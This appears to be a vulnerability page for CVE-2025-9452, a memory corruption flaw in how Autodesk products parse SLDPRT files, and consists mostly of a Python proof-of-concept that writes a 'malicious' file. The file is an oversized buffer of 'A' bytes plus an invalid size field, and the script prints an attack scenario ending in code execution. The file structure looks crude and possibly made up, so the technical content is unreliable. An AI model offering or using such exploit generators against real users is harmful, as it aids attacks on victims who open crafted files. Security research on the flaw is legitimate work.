CVE-2025-9452: Autodesk产品SLDPRT文件内存损坏漏洞

# CVE-2025-9452 PoC - Malicious SLDPRT File Generator # This PoC demonstrates the structure that triggers the memory corruption # Note: This is for educational and security research purposes only import struct import os def create_malicious_sldprt(): """ Generate a malicious SLDPRT file that triggers memory corruption in affected Autodesk products. WARNING: This code is for educational purposes only. Do not use for malicious purposes. """ # SLDPRT file header header = b'SOLIDWORKS_PRT\x00' # Malicious payload that causes memory corruption # This exploits the lack of proper bounds checking in file parser malicious_data = b'\x41' * 10000 # Overflow buffer # Crafted metadata section with invalid size values metadata = struct.pack('<I', 0xFFFFFFFF) # Invalid size metadata += b'\x00' * 100 # File structure that triggers vulnerability sldprt_content = header + malicious_data + metadata return sldprt_content def main(): print("CVE-2025-9452 Malicious SLDPRT Generator") print("=" * 50) print("This PoC generates a file that triggers memory corruption") print("in vulnerable Autodesk products when opened.") print() # Generate the malicious file malicious_file = create_malicious_sldprt() # Save to file output_path = 'CVE-2025-9452 malicious.sldprt' with open(output_path, 'wb') as f: f.write(malicious_file) print(f"Malicious SLDPRT file created: {output_path}") print(f"File size: {len(malicious_file)} bytes") print() print("Attack Scenario:") print("1. Attacker creates malicious .sldprt file") print("2. Victim opens the file in affected Autodesk product") print("3. Memory corruption occurs during parsing") print("4. Attacker gains arbitrary code execution") if __name__ == '__main__': main() # Additional note: # The actual exploitation requires specific conditions: # - Target must be running a vulnerable version of Autodesk software # - User must open the malicious file # - File must be properly crafted for the specific version